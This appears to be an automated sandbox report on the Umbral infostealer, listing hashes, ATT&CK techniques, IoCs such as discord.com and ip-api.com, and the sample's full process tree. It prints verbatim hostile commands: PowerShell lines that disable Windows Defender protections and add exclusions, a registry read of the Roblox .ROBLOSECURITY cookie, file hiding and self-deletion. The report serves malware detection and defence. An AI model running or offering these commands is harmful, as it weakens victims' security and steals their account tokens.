umbral | a0b244e1ee7d95f564857f7e481620731d347e5934f4bcc6098a76eb1b71a499

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
24-08-2024 14:25

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General

Target

Umbral.exe
Size

416KB
MD5

bc5dd701f57c7d57c143f1cfd0bb2e0c
SHA1

bd5cac1520ccb83442a96ac34cfccf2730591720
SHA256

a0b244e1ee7d95f564857f7e481620731d347e5934f4bcc6098a76eb1b71a499
SHA512

dca39c9fab005131247cbddbdf3a6a77eeaa9cf3f4c09a9cd3bf2641add1818092e314c9225060b809a45fb1c66db0de2a7d64dfaaeb3b2f73767faab4e897a2
SSDEEP

12288:5oZtL+EP8HE3APlO2Z6c1niinSFDA2oCMt/YdD:XI8k3APlO2Z6c1niinSJ6/W

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1544-1-0x0000000000B60000-0x0000000000BCE000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2604	powershell.exe
2096	powershell.exe
2836	powershell.exe
3000	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Deletes itself 1 IoCs

pid	Process
652	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
652	cmd.exe
2232	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2172	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2232	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1544	Umbral.exe
2604	powershell.exe
2096	powershell.exe
2836	powershell.exe
2848	powershell.exe
3000	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1544	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2112	wmic.exe
Token: SeSecurityPrivilege	2112	wmic.exe
Token: SeTakeOwnershipPrivilege	2112	wmic.exe
Token: SeLoadDriverPrivilege	2112	wmic.exe
Token: SeSystemProfilePrivilege	2112	wmic.exe
Token: SeSystemtimePrivilege	2112	wmic.exe
Token: SeProfSingleProcessPrivilege	2112	wmic.exe
Token: SeIncBasePriorityPrivilege	2112	wmic.exe
Token: SeCreatePagefilePrivilege	2112	wmic.exe
Token: SeBackupPrivilege	2112	wmic.exe
Token: SeRestorePrivilege	2112	wmic.exe
Token: SeShutdownPrivilege	2112	wmic.exe
Token: SeDebugPrivilege	2112	wmic.exe
Token: SeSystemEnvironmentPrivilege	2112	wmic.exe
Token: SeRemoteShutdownPrivilege	2112	wmic.exe
Token: SeUndockPrivilege	2112	wmic.exe
Token: SeManageVolumePrivilege	2112	wmic.exe
Token: 33	2112	wmic.exe
Token: 34	2112	wmic.exe
Token: 35	2112	wmic.exe
Token: SeIncreaseQuotaPrivilege	2112	wmic.exe
Token: SeSecurityPrivilege	2112	wmic.exe
Token: SeTakeOwnershipPrivilege	2112	wmic.exe
Token: SeLoadDriverPrivilege	2112	wmic.exe
Token: SeSystemProfilePrivilege	2112	wmic.exe
Token: SeSystemtimePrivilege	2112	wmic.exe
Token: SeProfSingleProcessPrivilege	2112	wmic.exe
Token: SeIncBasePriorityPrivilege	2112	wmic.exe
Token: SeCreatePagefilePrivilege	2112	wmic.exe
Token: SeBackupPrivilege	2112	wmic.exe
Token: SeRestorePrivilege	2112	wmic.exe
Token: SeShutdownPrivilege	2112	wmic.exe
Token: SeDebugPrivilege	2112	wmic.exe
Token: SeSystemEnvironmentPrivilege	2112	wmic.exe
Token: SeRemoteShutdownPrivilege	2112	wmic.exe
Token: SeUndockPrivilege	2112	wmic.exe
Token: SeManageVolumePrivilege	2112	wmic.exe
Token: 33	2112	wmic.exe
Token: 34	2112	wmic.exe
Token: 35	2112	wmic.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeIncreaseQuotaPrivilege	2020	wmic.exe
Token: SeSecurityPrivilege	2020	wmic.exe
Token: SeTakeOwnershipPrivilege	2020	wmic.exe
Token: SeLoadDriverPrivilege	2020	wmic.exe
Token: SeSystemProfilePrivilege	2020	wmic.exe
Token: SeSystemtimePrivilege	2020	wmic.exe
Token: SeProfSingleProcessPrivilege	2020	wmic.exe
Token: SeIncBasePriorityPrivilege	2020	wmic.exe
Token: SeCreatePagefilePrivilege	2020	wmic.exe
Token: SeBackupPrivilege	2020	wmic.exe
Token: SeRestorePrivilege	2020	wmic.exe
Token: SeShutdownPrivilege	2020	wmic.exe
Token: SeDebugPrivilege	2020	wmic.exe
Token: SeSystemEnvironmentPrivilege	2020	wmic.exe
Token: SeRemoteShutdownPrivilege	2020	wmic.exe
Token: SeUndockPrivilege	2020	wmic.exe
Token: SeManageVolumePrivilege	2020	wmic.exe
Token: 33	2020	wmic.exe
Token: 34	2020	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1544 wrote to memory of 2112	1544	Umbral.exe	31
PID 1544 wrote to memory of 2112	1544	Umbral.exe	31
PID 1544 wrote to memory of 2112	1544	Umbral.exe	31
PID 1544 wrote to memory of 2652	1544	Umbral.exe	34
PID 1544 wrote to memory of 2652	1544	Umbral.exe	34
PID 1544 wrote to memory of 2652	1544	Umbral.exe	34
PID 1544 wrote to memory of 2604	1544	Umbral.exe	36
PID 1544 wrote to memory of 2604	1544	Umbral.exe	36
PID 1544 wrote to memory of 2604	1544	Umbral.exe	36
PID 1544 wrote to memory of 2096	1544	Umbral.exe	38
PID 1544 wrote to memory of 2096	1544	Umbral.exe	38
PID 1544 wrote to memory of 2096	1544	Umbral.exe	38
PID 1544 wrote to memory of 2836	1544	Umbral.exe	40
PID 1544 wrote to memory of 2836	1544	Umbral.exe	40
PID 1544 wrote to memory of 2836	1544	Umbral.exe	40
PID 1544 wrote to memory of 2848	1544	Umbral.exe	42
PID 1544 wrote to memory of 2848	1544	Umbral.exe	42
PID 1544 wrote to memory of 2848	1544	Umbral.exe	42
PID 1544 wrote to memory of 2020	1544	Umbral.exe	44
PID 1544 wrote to memory of 2020	1544	Umbral.exe	44
PID 1544 wrote to memory of 2020	1544	Umbral.exe	44
PID 1544 wrote to memory of 2868	1544	Umbral.exe	46
PID 1544 wrote to memory of 2868	1544	Umbral.exe	46
PID 1544 wrote to memory of 2868	1544	Umbral.exe	46
PID 1544 wrote to memory of 1516	1544	Umbral.exe	48
PID 1544 wrote to memory of 1516	1544	Umbral.exe	48
PID 1544 wrote to memory of 1516	1544	Umbral.exe	48
PID 1544 wrote to memory of 3000	1544	Umbral.exe	50
PID 1544 wrote to memory of 3000	1544	Umbral.exe	50
PID 1544 wrote to memory of 3000	1544	Umbral.exe	50
PID 1544 wrote to memory of 2172	1544	Umbral.exe	52
PID 1544 wrote to memory of 2172	1544	Umbral.exe	52
PID 1544 wrote to memory of 2172	1544	Umbral.exe	52
PID 1544 wrote to memory of 652	1544	Umbral.exe	54
PID 1544 wrote to memory of 652	1544	Umbral.exe	54
PID 1544 wrote to memory of 652	1544	Umbral.exe	54
PID 652 wrote to memory of 2232	652	cmd.exe	56
PID 652 wrote to memory of 2232	652	cmd.exe	56
PID 652 wrote to memory of 2232	652	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2652	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1544
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2112
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2868
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3000
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2172
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:652
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a63dcaa00b785896c21137decf33355a

SHA1
88a3955d809e54e473a2cf2d971be8621ed1fd82

SHA256
fa4993e98afee2a0a39079e8792d0a94ad6944ab58b7524efc2c7bb3e673a4f9

SHA512
dd792747bcda2cef9e472f7683e3573f04e58a5e02d219bd96f1f588570876679d10f5099d2ca49069e6887e63ab8375efb15a2ff35630bb90d800b95d714688

Download Submit
memory/1544-0-0x000007FEF5563000-0x000007FEF5564000-memory.dmp

Filesize
4KB

Download
memory/1544-1-0x0000000000B60000-0x0000000000BCE000-memory.dmp

Filesize
440KB

Download
memory/1544-2-0x000007FEF5560000-0x000007FEF5F4C000-memory.dmp

Filesize
9.9MB

Download
memory/1544-47-0x000007FEF5560000-0x000007FEF5F4C000-memory.dmp

Filesize
9.9MB

Download
memory/2096-14-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2096-15-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

Filesize
32KB

Download
memory/2604-7-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2604-8-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/3000-43-0x0000000001F90000-0x0000000001F98000-memory.dmp

Filesize
32KB

Download